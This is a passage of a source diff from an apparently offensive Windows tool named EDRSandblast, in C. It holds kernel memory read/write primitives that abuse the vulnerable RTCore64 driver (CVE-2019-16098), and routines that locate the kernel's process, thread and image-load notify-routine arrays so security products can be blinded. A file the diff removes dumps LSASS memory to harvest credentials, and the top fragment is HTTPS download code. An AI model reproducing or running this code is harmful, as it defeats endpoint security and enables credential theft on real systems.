DWORD proxyAccessType = proxySet ? ((proxyConfig.lpszProxy == NULL) ?
|
||||
WINHTTP_ACCESS_TYPE_NO_PROXY : WINHTTP_ACCESS_TYPE_NAMED_PROXY) : WINHTTP_ACCESS_TYPE_NO_PROXY;
|
||||
LPCWSTR proxyName = proxySet ? proxyConfig.lpszProxy : WINHTTP_NO_PROXY_NAME;
|
||||
LPCWSTR proxyBypass = proxySet ? proxyConfig.lpszProxyBypass : WINHTTP_NO_PROXY_BYPASS;
|
||||
|
||||
// Initialize HTTP session and request
|
||||
HINTERNET hSession = WinHttpOpen(L"WinHTTP/1.0", proxyAccessType, proxyName, proxyBypass, 0);
|
||||
if (hSession == NULL) {
|
||||
printf_or_not("WinHttpOpen failed with error : 0x%x\n", GetLastError());
|
||||
return FALSE;
|
||||
}
|
||||
HINTERNET hConnect = WinHttpConnect(hSession, domain, INTERNET_DEFAULT_HTTPS_PORT, 0);
|
||||
if (!hConnect) {
|
||||
printf_or_not("WinHttpConnect failed with error : 0x%x\n", GetLastError());
|
||||
return FALSE;
|
||||
}
|
||||
HINTERNET hRequest = WinHttpOpenRequest(hConnect, L"GET", uri, NULL,
|
||||
WINHTTP_NO_REFERER, WINHTTP_DEFAULT_ACCEPT_TYPES, WINHTTP_FLAG_SECURE);
|
||||
if (!hRequest) {
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
// Configure proxy manually
|
||||
if (!proxySet)
|
||||
{
|
||||
WINHTTP_AUTOPROXY_OPTIONS autoProxyOptions;
|
||||
autoProxyOptions.dwFlags = proxyConfig.lpszAutoConfigUrl != NULL ? WINHTTP_AUTOPROXY_CONFIG_URL : WINHTTP_AUTOPROXY_AUTO_DETECT;
|
||||
autoProxyOptions.dwAutoDetectFlags = WINHTTP_AUTO_DETECT_TYPE_DHCP | WINHTTP_AUTO_DETECT_TYPE_DNS_A;
|
||||
autoProxyOptions.fAutoLogonIfChallenged = TRUE;
|
||||
|
||||
if (proxyConfig.lpszAutoConfigUrl != NULL)
|
||||
autoProxyOptions.lpszAutoConfigUrl = proxyConfig.lpszAutoConfigUrl;
|
||||
|
||||
WCHAR szUrl[MAX_PATH] = { 0 };
|
||||
swprintf_s(szUrl, _countof(szUrl), L"https://%ws%ws", domain, uri);
|
||||
|
||||
WINHTTP_PROXY_INFO proxyInfo;
|
||||
WinHttpGetProxyForUrl(
|
||||
hSession,
|
||||
szUrl,
|
||||
&autoProxyOptions,
|
||||
&proxyInfo);
|
||||
|
||||
WinHttpSetOption(hRequest, WINHTTP_OPTION_PROXY, &proxyInfo, sizeof(proxyInfo));
|
||||
DWORD logonPolicy = WINHTTP_AUTOLOGON_SECURITY_LEVEL_LOW;
|
||||
WinHttpSetOption(hRequest, WINHTTP_OPTION_AUTOLOGON_POLICY, &logonPolicy, sizeof(logonPolicy));
|
||||
}
|
||||
|
||||
// Perform request
|
||||
BOOL bRequestSent;
|
||||
do {
|
||||
bRequestSent = WinHttpSendRequest(hRequest, WINHTTP_NO_ADDITIONAL_HEADERS, 0, WINHTTP_NO_REQUEST_DATA, 0, 0, 0);
|
||||
} while (!bRequestSent && GetLastError() == ERROR_WINHTTP_RESEND_REQUEST);
|
||||
if (!bRequestSent) {
|
||||
return FALSE;
|
||||
}
|
||||
BOOL bResponseReceived = WinHttpReceiveResponse(hRequest, NULL);
|
||||
if (!bResponseReceived) {
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
// Read response
|
||||
DWORD dwAvailableSize = 0;
|
||||
DWORD dwDownloadedSize = 0;
|
||||
SIZE_T allocatedSize = 4096;
|
||||
if (!WinHttpQueryDataAvailable(hRequest, &dwAvailableSize))
|
||||
{
|
||||
return FALSE;
|
||||
}
|
||||
*output = (PBYTE) malloc(allocatedSize);
|
||||
*output_size = 0;
|
||||
while (dwAvailableSize)
|
||||
{
|
||||
while (*output_size + dwAvailableSize > allocatedSize) {
|
||||
allocatedSize *= 2;
|
||||
PBYTE new_output = (PBYTE)realloc(*output, allocatedSize);
|
||||
if (new_output == NULL)
|
||||
{
|
||||
return FALSE;
|
||||
}
|
||||
*output = new_output;
|
||||
}
|
||||
if (!WinHttpReadData(hRequest, *output + *output_size, dwAvailableSize, &dwDownloadedSize))
|
||||
{
|
||||
return FALSE;
|
||||
}
|
||||
*output_size += dwDownloadedSize;
|
||||
|
||||
WinHttpQueryDataAvailable(hRequest, &dwAvailableSize);
|
||||
}
|
||||
PBYTE new_output = (PBYTE)realloc(*output, *output_size);
|
||||
if (new_output == NULL)
|
||||
{
|
||||
return FALSE;
|
||||
}
|
||||
*output = new_output;
|
||||
WinHttpCloseHandle(hRequest);
|
||||
WinHttpCloseHandle(hConnect);
|
||||
WinHttpCloseHandle(hSession);
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
|
||||
|
||||
|
||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,20 @@
|
||||
#include "IsElevatedProcess.h"
|
||||
|
||||
BOOL IsElevatedProcess() {
|
||||
BOOL fRet = FALSE;
|
||||
HANDLE hToken = NULL;
|
||||
|
||||
if (OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken)) {
|
||||
TOKEN_ELEVATION Elevation;
|
||||
DWORD cbSize = sizeof(TOKEN_ELEVATION);
|
||||
if (GetTokenInformation(hToken, TokenElevation, &Elevation, sizeof(Elevation), &cbSize)) {
|
||||
fRet = Elevation.TokenIsElevated;
|
||||
}
|
||||
}
|
||||
|
||||
if (hToken) {
|
||||
CloseHandle(hToken);
|
||||
}
|
||||
|
||||
return fRet;
|
||||
}
|
||||
@@ -1,178 +1,69 @@
|
||||
/*
|
||||
|
||||
--- Kernel memory Read / Write primitives through the vulnerable Micro-Star MSI Afterburner driver.
|
||||
--- Source and credit: https://github.com/Barakat/CVE-2019-16098/blob/master/CVE-2019-16098.cpp
|
||||
|
||||
*/
|
||||
#include <Windows.h>
|
||||
#include <Tchar.h>
|
||||
#include <Psapi.h>
|
||||
#include <stdio.h>
|
||||
#include <assert.h>
|
||||
|
||||
#include "DriverRTCore.h"
|
||||
#include "DriverDBUtil.h"
|
||||
#include "KernelUtils.h"
|
||||
#include "../EDRSandblast.h"
|
||||
|
||||
#include "KernelMemoryPrimitives.h"
|
||||
|
||||
static_assert(sizeof(struct RTCORE64_MSR_READ) == 12, "sizeof RTCORE64_MSR_READ must be 12 bytes");
|
||||
static_assert(sizeof(struct RTCORE64_MEMORY_READ) == 48, "sizeof RTCORE64_MEMORY_READ must be 48 bytes");
|
||||
static_assert(sizeof(struct RTCORE64_MEMORY_WRITE) == 48, "sizeof RTCORE64_MEMORY_WRITE must be 48 bytes");
|
||||
|
||||
DWORD ReadMemoryPrimitive(HANDLE Device, DWORD Size, DWORD64 Address) {
|
||||
struct RTCORE64_MEMORY_READ MemoryRead = { 0 };
|
||||
MemoryRead.Address = Address;
|
||||
MemoryRead.ReadSize = Size;
|
||||
|
||||
DWORD BytesReturned;
|
||||
|
||||
DeviceIoControl(Device,
|
||||
RTCORE64_MEMORY_READ_CODE,
|
||||
&MemoryRead,
|
||||
sizeof(MemoryRead),
|
||||
&MemoryRead,
|
||||
sizeof(MemoryRead),
|
||||
&BytesReturned,
|
||||
NULL);
|
||||
|
||||
return MemoryRead.Value;
|
||||
VOID ReadMemory(DWORD64 Address, PVOID Buffer, SIZE_T Size) {
|
||||
ReadMemoryPrimitive(Size, Address, Buffer);
|
||||
}
|
||||
|
||||
void WriteMemoryPrimitive(HANDLE Device, DWORD Size, DWORD64 Address, DWORD Value) {
|
||||
struct RTCORE64_MEMORY_READ MemoryRead = { 0 };
|
||||
MemoryRead.Address = Address;
|
||||
MemoryRead.ReadSize = Size;
|
||||
MemoryRead.Value = Value;
|
||||
|
||||
DWORD BytesReturned;
|
||||
|
||||
DeviceIoControl(Device,
|
||||
RTCORE64_MEMORY_WRITE_CODE,
|
||||
&MemoryRead,
|
||||
sizeof(MemoryRead),
|
||||
&MemoryRead,
|
||||
sizeof(MemoryRead),
|
||||
&BytesReturned,
|
||||
NULL);
|
||||
VOID WriteMemory(DWORD64 Address, PVOID Buffer, SIZE_T Size) {
|
||||
WriteMemoryPrimitive(Size, Address, Buffer);
|
||||
}
|
||||
|
||||
BYTE ReadMemoryBYTE(HANDLE Device, DWORD64 Address) {
|
||||
return ReadMemoryPrimitive(Device, 1, Address) & 0xff;
|
||||
#define ReadMemoryType(TYPE) \
|
||||
TYPE ReadMemory ## TYPE ## (DWORD64 Address) {\
|
||||
TYPE res;\
|
||||
ReadMemoryPrimitive(sizeof(TYPE), Address, &res);\
|
||||
return res;\
|
||||
}
|
||||
ReadMemoryType(BYTE);
|
||||
ReadMemoryType(WORD);
|
||||
ReadMemoryType(DWORD);
|
||||
ReadMemoryType(DWORD64);
|
||||
|
||||
#define ReadKernelMemoryType(TYPE) \
|
||||
TYPE ReadKernelMemory ## TYPE ## (DWORD64 Offset) {\
|
||||
TYPE res;\
|
||||
DWORD64 Address = FindNtoskrnlBaseAddress() + Offset;\
|
||||
ReadMemoryPrimitive(sizeof(TYPE), Address, &res);\
|
||||
return res;\
|
||||
}
|
||||
|
||||
WORD ReadMemoryWORD(HANDLE Device, DWORD64 Address) {
|
||||
return ReadMemoryPrimitive(Device, 2, Address) & 0xffff;
|
||||
ReadKernelMemoryType(BYTE);
|
||||
ReadKernelMemoryType(WORD);
|
||||
ReadKernelMemoryType(DWORD);
|
||||
ReadKernelMemoryType(DWORD64);
|
||||
|
||||
#define WriteMemoryType(TYPE) \
|
||||
VOID WriteMemory ## TYPE ## (DWORD64 Address, TYPE Value) {\
|
||||
WriteMemoryPrimitive(sizeof(TYPE), Address, &Value);\
|
||||
}
|
||||
|
||||
DWORD ReadMemoryDWORD(HANDLE Device, DWORD64 Address) {
|
||||
return ReadMemoryPrimitive(Device, 4, Address) & 0xffffffff;
|
||||
WriteMemoryType(BYTE);
|
||||
WriteMemoryType(WORD);
|
||||
WriteMemoryType(DWORD);
|
||||
WriteMemoryType(DWORD64);
|
||||
|
||||
|
||||
#define WriteKernelMemoryType(TYPE) \
|
||||
VOID WriteKernelMemory ## TYPE ## (DWORD64 Offset, TYPE Value) {\
|
||||
DWORD64 Address = FindNtoskrnlBaseAddress() + Offset;\
|
||||
WriteMemoryPrimitive(sizeof(TYPE), Address, &Value);\
|
||||
}
|
||||
|
||||
DWORD64 ReadMemoryDWORD64(HANDLE Device, DWORD64 Address) {
|
||||
return ((DWORD64)(ReadMemoryDWORD(Device, Address + 4)) << 32) | ReadMemoryDWORD(Device, Address);
|
||||
WriteKernelMemoryType(BYTE);
|
||||
WriteKernelMemoryType(WORD);
|
||||
WriteKernelMemoryType(DWORD);
|
||||
WriteKernelMemoryType(DWORD64);
|
||||
|
||||
BOOL TestReadPrimitive() {
|
||||
return ReadKernelMemoryWORD(0) == *(WORD*)"MZ";
|
||||
}
|
||||
|
||||
void WriteMemoryBYTE(HANDLE Device, DWORD64 Address, DWORD64 Value) {
|
||||
DWORD64 currentValue = ReadMemoryDWORD64(Device, Address);
|
||||
Value = (currentValue & 0xFFFFFFFFFFFFFFF0) | (Value);
|
||||
WriteMemoryPrimitive(Device, 4, Address, Value & 0xffffffff);
|
||||
WriteMemoryPrimitive(Device, 4, Address + 4, Value >> 32);
|
||||
}
|
||||
|
||||
void WriteMemoryWORD(HANDLE Device, DWORD64 Address, DWORD64 Value) {
|
||||
DWORD64 currentValue = ReadMemoryDWORD64(Device, Address);
|
||||
Value = (currentValue & 0xFFFFFFFFFFFFFF00) | (Value);
|
||||
WriteMemoryPrimitive(Device, 4, Address, Value & 0xffffffff);
|
||||
WriteMemoryPrimitive(Device, 4, Address + 4, Value >> 32);
|
||||
}
|
||||
|
||||
void WriteMemoryDWORD64(HANDLE Device, DWORD64 Address, DWORD64 Value) {
|
||||
WriteMemoryPrimitive(Device, 4, Address, Value & 0xffffffff);
|
||||
WriteMemoryPrimitive(Device, 4, Address + 4, Value >> 32);
|
||||
}
|
||||
|
||||
/*
|
||||
|
||||
--- Kernel exploitation helpers.
|
||||
--- Largely inspired from https://github.com/br-sn/CheekyBlinder
|
||||
--- Source and credit: https://github.com/br-sn/CheekyBlinder/blob/master/CheekyBlinder/CheekyBlinder.cpp
|
||||
|
||||
*/
|
||||
|
||||
DWORD64 FindNtoskrnlBaseAddress(void) {
|
||||
DWORD cbNeeded = 0;
|
||||
LPVOID drivers[1024];
|
||||
|
||||
if (EnumDeviceDrivers(drivers, sizeof(drivers), &cbNeeded)) {
|
||||
return (DWORD64)drivers[0];
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
TCHAR* FindDriver(DWORD64 address, BOOL verbose) {
|
||||
|
||||
LPVOID drivers[1024];
|
||||
DWORD cbNeeded;
|
||||
int cDrivers = 0;
|
||||
int i = 0;
|
||||
TCHAR szDriver[1024] = { 0 };
|
||||
DWORD64 minDiff = MAXDWORD64;
|
||||
DWORD64 diff;
|
||||
if (EnumDeviceDrivers(drivers, sizeof(drivers), &cbNeeded)) {
|
||||
cDrivers = cbNeeded / sizeof(drivers[0]);
|
||||
for (i = 0; i < cDrivers; i++) {
|
||||
if ((DWORD64)drivers[i] <= address) {
|
||||
diff = address - (DWORD64)drivers[i];
|
||||
if (diff < minDiff) {
|
||||
minDiff = diff;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
else {
|
||||
_tprintf(TEXT("[!] Could not resolve driver for 0x%I64x, an EDR driver might be missed\n"), address);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
if (GetDeviceDriverBaseName((LPVOID)(address - minDiff), szDriver, _countof(szDriver))) {
|
||||
|
||||
if (verbose) {
|
||||
_tprintf(TEXT("[+] %016llx [%s + 0x%llx]\n"), address, szDriver, minDiff);
|
||||
}
|
||||
|
||||
TCHAR* const ptrDrvier = (LPTSTR)calloc(1024, sizeof(TCHAR));
|
||||
|
||||
if (!ptrDrvier) {
|
||||
_tprintf(TEXT("[!] Couldn't allocate memory to retrieve the driver pointer\n"));
|
||||
return NULL;
|
||||
}
|
||||
|
||||
_tcscpy_s(ptrDrvier, 1024, szDriver);
|
||||
return ptrDrvier;
|
||||
}
|
||||
else {
|
||||
_tprintf(TEXT("[!] Could not resolve driver for 0x%I64x, an EDR driver might be missed\n"), address);
|
||||
return NULL;
|
||||
}
|
||||
}
|
||||
|
||||
HANDLE GetDriverHandle() {
|
||||
TCHAR service[] = TEXT("\\\\.\\RTCore64");
|
||||
HANDLE Device = CreateFile(service, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
|
||||
|
||||
if (Device == INVALID_HANDLE_VALUE) {
|
||||
_tprintf(TEXT("[!] Unable to obtain a handle to the vulnerable driver, exiting...\n"));
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
return Device;
|
||||
}
|
||||
|
||||
DWORD64 GetFunctionAddress(LPCSTR function) {
|
||||
DWORD64 ntoskrnlBaseAddress = FindNtoskrnlBaseAddress();
|
||||
DWORD64 address = 0;
|
||||
HMODULE ntoskrnl = LoadLibrary(TEXT("ntoskrnl.exe"));
|
||||
if (ntoskrnl) {
|
||||
DWORD64 offset = (DWORD64)(GetProcAddress(ntoskrnl, function)) - (DWORD64)(ntoskrnl);
|
||||
address = ntoskrnlBaseAddress + offset;
|
||||
FreeLibrary(ntoskrnl);
|
||||
}
|
||||
// _tprintf(TEXT("[+] %s address: 0x%I64x\n"), function, address);
|
||||
return address;
|
||||
}
|
||||
@@ -7,76 +7,69 @@
|
||||
#include <Windows.h>
|
||||
#include <Tchar.h>
|
||||
#include "KernelMemoryPrimitives.h"
|
||||
#include "KernelUtils.h"
|
||||
#include "../EDRSandblast.h"
|
||||
|
||||
DWORD64 PatternSearchStartingFromAddress(HANDLE Device, DWORD64 startAddress, DWORD bytesToScan, DWORD64 pattern, DWORD64 mask) {
|
||||
DWORD64 PatternSearchStartingFromAddress(DWORD64 startAddress, DWORD bytesToScan, DWORD64 pattern, DWORD64 mask) {
|
||||
for (DWORD i = 0; i < bytesToScan; i++) {
|
||||
DWORD64 instructionAddress = startAddress + i;
|
||||
DWORD64 dword64Instruction = ReadMemoryDWORD64(Device, instructionAddress);
|
||||
DWORD64 dword64Instruction = ReadMemoryDWORD64(instructionAddress);
|
||||
DWORD64 dword64InstructionFixed = dword64Instruction & mask;
|
||||
// _tprintf(TEXT("i = %i, pattern = 0x%I64x, instructionAddress = 0x%I64x, wordInstruction = 0x%I64x, wordInstructionFixed = 0x%I64x\n"), i, pattern, instructionAddress, dword64Instruction, dword64InstructionFixed);
|
||||
// _tprintf_or_not(TEXT("i = %i, pattern = 0x%I64x, instructionAddress = 0x%I64x, wordInstruction = 0x%I64x, wordInstructionFixed = 0x%I64x\n"), i, pattern, instructionAddress, dword64Instruction, dword64InstructionFixed);
|
||||
if (dword64InstructionFixed == pattern) {
|
||||
_tprintf(TEXT("[+] Found pattern = 0x%I64x at offset i = %i [instructionAddress = 0x%I64x, wordInstruction = 0x%I64x, wordInstructionFixed = 0x%I64x]\n"), pattern, i, instructionAddress, dword64Instruction, dword64InstructionFixed);
|
||||
_tprintf_or_not(TEXT("[+] Found pattern = 0x%I64x at offset i = %i [instructionAddress = 0x%I64x, wordInstruction = 0x%I64x, wordInstructionFixed = 0x%I64x]\n"), pattern, i, instructionAddress, dword64Instruction, dword64InstructionFixed);
|
||||
return instructionAddress;
|
||||
}
|
||||
}
|
||||
return 0x0;
|
||||
}
|
||||
|
||||
DWORD64 ExtractRelativeAddress(HANDLE Device, DWORD64 instructionStartAddress, DWORD64 instructionRelativeAddressOffset, DWORD64 nextInstructionOffset) {
|
||||
DWORD64 procedureRelativeAddress = (signed int)ReadMemoryDWORD64(Device, instructionStartAddress + instructionRelativeAddressOffset);
|
||||
DWORD64 ExtractRelativeAddress(DWORD64 instructionStartAddress, DWORD64 instructionRelativeAddressOffset, DWORD64 nextInstructionOffset) {
|
||||
DWORD64 procedureRelativeAddress = (signed int)ReadMemoryDWORD64(instructionStartAddress + instructionRelativeAddressOffset);
|
||||
DWORD64 nextInstructionAddress = instructionStartAddress + nextInstructionOffset;
|
||||
return nextInstructionAddress + procedureRelativeAddress;
|
||||
}
|
||||
|
||||
DWORD64 GetPspCreateProcessNotifyRoutineAddressUsingPattern(void) {
|
||||
_tprintf(TEXT("[*] Searching for PspCreateProcessNotifyRoutine address using pattern\n"));
|
||||
HANDLE Device = GetDriverHandle();
|
||||
_putts_or_not(TEXT("[*] Searching for PspCreateProcessNotifyRoutine address using pattern"));
|
||||
|
||||
// Extracting PspSetCreateProcessNotifyRoutine address in PsSetCreateProcessNotifyRoutine using the pattern "E8" (CALL) to match "[e80e010000] call nt!PspSetCreateProcessNotifyRoutine".
|
||||
DWORD64 PsSetCreateProcessNotifyRoutineAddress = GetFunctionAddress("PsSetCreateProcessNotifyRoutine");
|
||||
DWORD64 CallPspSetCreateProcessNotifyRoutineAddress = PatternSearchStartingFromAddress(Device, PsSetCreateProcessNotifyRoutineAddress, 64, 0x00000000000000E8, 0x00000000000000FF);
|
||||
DWORD64 PspSetCreateProcessNotifyRoutineAddress = ExtractRelativeAddress(Device, CallPspSetCreateProcessNotifyRoutineAddress, 1, 5);
|
||||
DWORD64 PsSetCreateProcessNotifyRoutineAddress = GetKernelFunctionAddress("PsSetCreateProcessNotifyRoutine");
|
||||
DWORD64 CallPspSetCreateProcessNotifyRoutineAddress = PatternSearchStartingFromAddress(PsSetCreateProcessNotifyRoutineAddress, 64, 0x00000000000000E8, 0x00000000000000FF);
|
||||
DWORD64 PspSetCreateProcessNotifyRoutineAddress = ExtractRelativeAddress(CallPspSetCreateProcessNotifyRoutineAddress, 1, 5);
|
||||
|
||||
// Extracting PspCreateProcessNotifyRoutine address in PspSetCreateProcessNotifyRoutine using the pattern "4C 8D" (LEA 4C) to match "[4c8d2d371ddaff] lea r13,[nt!PspCreateProcessNotifyRoutine".
|
||||
DWORD64 LeaPspCreateProcessNotifyRoutineAddress = PatternSearchStartingFromAddress(Device, PspSetCreateProcessNotifyRoutineAddress, 256, 0x0000000000008D48, 0x000000000000FFF8);
|
||||
DWORD64 PspCreateProcessNotifyRoutineAddress = ExtractRelativeAddress(Device, LeaPspCreateProcessNotifyRoutineAddress, 3, 7);
|
||||
_tprintf(TEXT("[+] Pattern search found PspCreateProcessNotifyRoutine address: 0x%I64x\n"), PspCreateProcessNotifyRoutineAddress);
|
||||
DWORD64 LeaPspCreateProcessNotifyRoutineAddress = PatternSearchStartingFromAddress(PspSetCreateProcessNotifyRoutineAddress, 256, 0x0000000000008D48, 0x000000000000FFF8);
|
||||
DWORD64 PspCreateProcessNotifyRoutineAddress = ExtractRelativeAddress(LeaPspCreateProcessNotifyRoutineAddress, 3, 7);
|
||||
_tprintf_or_not(TEXT("[+] Pattern search found PspCreateProcessNotifyRoutine address: 0x%I64x\n"), PspCreateProcessNotifyRoutineAddress);
|
||||
|
||||
CloseHandle(Device);
|
||||
|
||||
return PspCreateProcessNotifyRoutineAddress;
|
||||
}
|
||||
|
||||
DWORD64 GetPspCreateThreadNotifyRoutineAddressUsingPattern(void) {
|
||||
_tprintf(TEXT("[*] Searching for PspCreateThreadNotifyRoutine address using pattern\n"));
|
||||
HANDLE Device = GetDriverHandle();
|
||||
_putts_or_not(TEXT("[*] Searching for PspCreateThreadNotifyRoutine address using pattern"));
|
||||
|
||||
// Extracting nt!PspSetCreateThreadNotifyRoutine address in nt!PsSetCreateThreadNotifyRoutine using the pattern "E8" (CALL) to match "[e865000000] call nt!PspSetCreateThreadNotifyRoutine".
|
||||
DWORD64 PsSetCreateThreadNotifyRoutineAddress = GetFunctionAddress("PsSetCreateThreadNotifyRoutine");
|
||||
DWORD64 CallPspSetCreateThreadNotifyRoutineAddress = PatternSearchStartingFromAddress(Device, PsSetCreateThreadNotifyRoutineAddress, 64, 0x00000000000000E8, 0x00000000000000FF);
|
||||
DWORD64 PspSetCreateThreadNotifyRoutineAddress = ExtractRelativeAddress(Device, CallPspSetCreateThreadNotifyRoutineAddress, 1, 5);
|
||||
DWORD64 PsSetCreateThreadNotifyRoutineAddress = GetKernelFunctionAddress("PsSetCreateThreadNotifyRoutine");
|
||||
DWORD64 CallPspSetCreateThreadNotifyRoutineAddress = PatternSearchStartingFromAddress(PsSetCreateThreadNotifyRoutineAddress, 64, 0x00000000000000E8, 0x00000000000000FF);
|
||||
DWORD64 PspSetCreateThreadNotifyRoutineAddress = ExtractRelativeAddress(CallPspSetCreateThreadNotifyRoutineAddress, 1, 5);
|
||||
|
||||
// Extracting nt!PspCreateThreadNotifyRoutine address in nt!PspSetCreateThreadNotifyRoutine using the pattern "4C 8D" (LEA 4C) to match "[488d0d431cdaff] lea rcx,[nt!PspCreateThreadNotifyRoutine]".
|
||||
DWORD64 LeaPspCreateThreadNotifyRoutineAddress = PatternSearchStartingFromAddress(Device, PspSetCreateThreadNotifyRoutineAddress, 256, 0x0000000000008D48, 0x000000000000FFF8);
|
||||
DWORD64 PspCreateThreadNotifyRoutineAddress = ExtractRelativeAddress(Device, LeaPspCreateThreadNotifyRoutineAddress, 3, 7);
|
||||
_tprintf(TEXT("[+] Pattern search found PspCreateThreadNotifyRoutine address: 0x%I64x\n"), PspCreateThreadNotifyRoutineAddress);
|
||||
DWORD64 LeaPspCreateThreadNotifyRoutineAddress = PatternSearchStartingFromAddress(PspSetCreateThreadNotifyRoutineAddress, 256, 0x0000000000008D48, 0x000000000000FFF8);
|
||||
DWORD64 PspCreateThreadNotifyRoutineAddress = ExtractRelativeAddress(LeaPspCreateThreadNotifyRoutineAddress, 3, 7);
|
||||
_tprintf_or_not(TEXT("[+] Pattern search found PspCreateThreadNotifyRoutine address: 0x%I64x\n"), PspCreateThreadNotifyRoutineAddress);
|
||||
|
||||
CloseHandle(Device);
|
||||
|
||||
return PspCreateThreadNotifyRoutineAddress;
|
||||
}
|
||||
|
||||
DWORD64 GetPspLoadImageNotifyRoutineAddressUsingPattern(void) {
|
||||
_tprintf(TEXT("[*] Searching for PspLoadImageNotifyRoutine address using pattern\n"));
|
||||
HANDLE Device = GetDriverHandle();
|
||||
_putts_or_not(TEXT("[*] Searching for PspLoadImageNotifyRoutine address using pattern"));
|
||||
|
||||
// Extracting nt!PspLoadImageNotifyRoutine address directly from nt!PsSetLoadImageNotifyRoutineEx using the pattern "4C 8D" (LEA 4C) to match "[488d0d981ddaff] lea rcx,[nt!PspLoadImageNotifyRoutine]".
|
||||
DWORD64 PsSetLoadImageNotifyRoutineExAddress = GetFunctionAddress("PsSetLoadImageNotifyRoutineEx");
|
||||
DWORD64 LeaPspLoadImageNotifyRoutineAddress = PatternSearchStartingFromAddress(Device, PsSetLoadImageNotifyRoutineExAddress, 128, 0x0000000000008D48, 0x000000000000FFF8);
|
||||
DWORD64 PspLoadImageNotifyRoutineAddress = ExtractRelativeAddress(Device, LeaPspLoadImageNotifyRoutineAddress, 3, 7);;
|
||||
_tprintf(TEXT("[+] Pattern search found PspLoadImageNotifyRoutine address: 0x%I64x\n"), PspLoadImageNotifyRoutineAddress);
|
||||
DWORD64 PsSetLoadImageNotifyRoutineExAddress = GetKernelFunctionAddress("PsSetLoadImageNotifyRoutineEx");
|
||||
DWORD64 LeaPspLoadImageNotifyRoutineAddress = PatternSearchStartingFromAddress(PsSetLoadImageNotifyRoutineExAddress, 128, 0x0000000000008D48, 0x000000000000FFF8);
|
||||
DWORD64 PspLoadImageNotifyRoutineAddress = ExtractRelativeAddress(LeaPspLoadImageNotifyRoutineAddress, 3, 7);;
|
||||
_tprintf_or_not(TEXT("[+] Pattern search found PspLoadImageNotifyRoutine address: 0x%I64x\n"), PspLoadImageNotifyRoutineAddress);
|
||||
|
||||
CloseHandle(Device);
|
||||
|
||||
return PspLoadImageNotifyRoutineAddress;
|
||||
}
|
||||
@@ -1,95 +0,0 @@
|
||||
/*
|
||||
|
||||
--- LSASS dump functions.
|
||||
|
||||
*/
|
||||
#include <Windows.h>
|
||||
#include <TlHelp32.h>
|
||||
#include <minidumpapiset.h>
|
||||
#include <tchar.h>
|
||||
#include "LSASSDump.h"
|
||||
|
||||
BOOL SetPrivilege(HANDLE hToken, LPCTSTR lpszPrivilege, BOOL bEnablePrivilege)
|
||||
{
|
||||
LUID luid;
|
||||
BOOL bRet = FALSE;
|
||||
|
||||
if (LookupPrivilegeValue(NULL, lpszPrivilege, &luid))
|
||||
{
|
||||
TOKEN_PRIVILEGES tp;
|
||||
|
||||
tp.PrivilegeCount = 1;
|
||||
tp.Privileges[0].Luid = luid;
|
||||
tp.Privileges[0].Attributes = (bEnablePrivilege) ? SE_PRIVILEGE_ENABLED : 0;
|
||||
|
||||
if (AdjustTokenPrivileges(hToken, FALSE, &tp, 0, (PTOKEN_PRIVILEGES)NULL, (PDWORD)NULL))
|
||||
{
|
||||
bRet = (GetLastError() == ERROR_SUCCESS);
|
||||
}
|
||||
}
|
||||
return bRet;
|
||||
}
|
||||
|
||||
DWORD WINAPI dumpLSASSProcess(void* data) {
|
||||
HANDLE hProcessSnap;
|
||||
HANDLE hProcess;
|
||||
PROCESSENTRY32 pe32;
|
||||
|
||||
TCHAR* outputDump = (TCHAR*)data;
|
||||
|
||||
//Enable the SeDebugPrivilege
|
||||
HANDLE hToken;
|
||||
if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken))
|
||||
{
|
||||
SetPrivilege(hToken, SE_DEBUG_NAME, TRUE);
|
||||
CloseHandle(hToken);
|
||||
}
|
||||
|
||||
// Take a snapshot of all processes in the system.
|
||||
hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
|
||||
if (hProcessSnap == INVALID_HANDLE_VALUE) {
|
||||
_tprintf(TEXT("[!] LSASS dump failed: impossible to get snapshot of the system's processes (CreateToolhelp32Snapshot)\n"));
|
||||
return 1;
|
||||
}
|
||||
|
||||
// Set the size of the structure before using it.
|
||||
pe32.dwSize = sizeof(PROCESSENTRY32);
|
||||
|
||||
// Retrieve information about the first process,
|
||||
// and exit if unsuccessful
|
||||
if (!Process32First(hProcessSnap, &pe32)) {
|
||||
_tprintf(TEXT("[!] LSASS dump failed: obtained invalid process handle\n")); // show cause of failure
|
||||
CloseHandle(hProcessSnap); // clean the snapshot object
|
||||
return 1;
|
||||
}
|
||||
|
||||
// Now walk the snapshot of processes, and look for lsass.
|
||||
do {
|
||||
if (_tcscmp(pe32.szExeFile, TEXT("lsass.exe"))) {
|
||||
continue;
|
||||
}
|
||||
|
||||
hProcess = OpenProcess(PROCESS_VM_READ | PROCESS_QUERY_INFORMATION, FALSE, pe32.th32ProcessID);
|
||||
if (hProcess == NULL || hProcess == INVALID_HANDLE_VALUE) {
|
||||
_tprintf(TEXT("[!] LSASS dump failed: couldn't open lsass memory (OpenProcesswith error 0x%x)\n"), GetLastError());
|
||||
return 1;
|
||||
}
|
||||
|
||||
HANDLE hDumpFile = CreateFile(outputDump, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
|
||||
if (hDumpFile == INVALID_HANDLE_VALUE) {
|
||||
_tprintf(TEXT("[!] LSASS dump failed: couldn't create dump file (CreateFileA)\n"));
|
||||
return 1;
|
||||
}
|
||||
BOOL dumped = MiniDumpWriteDump(hProcess, pe32.th32ProcessID, hDumpFile, MiniDumpWithFullMemory, NULL, NULL, NULL);
|
||||
if (!dumped) {
|
||||
_tprintf(TEXT("[!] LSASS dump failed: couldn't dump LSASS process (MiniDumpWriteDump with error 0x%x)\n"), GetLastError());
|
||||
return 1;
|
||||
}
|
||||
_tprintf(TEXT("[+] LSASS sucessfully dump to: %s\n"), outputDump);
|
||||
CloseHandle(hProcess);
|
||||
|
||||
